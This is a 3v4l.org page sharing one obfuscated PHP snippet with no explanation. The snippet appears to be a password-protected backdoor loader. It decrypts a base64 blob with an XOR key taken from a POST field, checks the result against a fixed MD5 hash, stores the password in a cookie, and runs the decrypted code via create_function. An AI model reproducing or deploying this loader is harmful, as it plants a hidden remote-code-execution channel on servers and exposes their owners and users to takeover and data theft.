3v4l.org

run code in 300+ PHP versions simultaneously
<?php $o__o_=base64_decode('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'); for ($o_o = 0x00; $o_o < 0xFF; $o_o++ ) { $o_o=isset($_POST['o_o'])?$_POST['o_o']:""; $o_o=md5($o_o).substr(MD5(strrev($o_o)),0,strlen($o_o)); for($o___o=0; $o___o<2268; $o___o++) { $o__o_[$o___o]=chr((ord($o__o_[$o___o])^ord($o_o[$o___o]))%256); $o_o.=$o__o_[$o___o]; } echo MD5($o__o_); if(MD5($o__o_)=='43a141570e0c926e0e3673216a4dd73d') { echo 'Success'; echo $o_o; if(isset($_POST['o_o']))@setcookie('o_o', $_POST['o_o']); $o___o=create_function('',$o__o_); unset($o_o,$o__o_); $o___o(); } }?>

preferences:
62.2 ms | 402 KiB | 5 Q